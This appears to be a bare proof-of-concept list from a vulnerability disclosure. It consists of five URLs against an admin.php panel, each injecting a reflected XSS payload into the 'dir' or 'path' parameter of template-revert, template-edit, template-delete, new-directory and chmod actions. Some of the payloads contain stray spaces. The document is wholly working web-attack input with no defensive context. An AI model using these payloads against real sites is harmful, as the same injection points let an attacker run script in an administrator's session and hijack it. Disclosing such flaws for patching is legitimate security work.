http://[host]/admin.php?action=designs&job=templates_file_revert&dir="<sc ript>alert("XSS");</scri pt>
http://[host]/admin.php?action=designs&job=templates_file_edit2&dir="<s cript>alert("XSS");</scr ipt>
http://[host]/admin.php?action=designs&job=templates_file_delete&dir=" <script>alert("XSS");</s cript>
http://[host]/admin.php?action=explorer&job=newdir&path="<script>ale rt("XSS");</script>
htt p://[host]//admin.php?action=explorer&job=chmod&path="<script>alert("XSS");< /script>
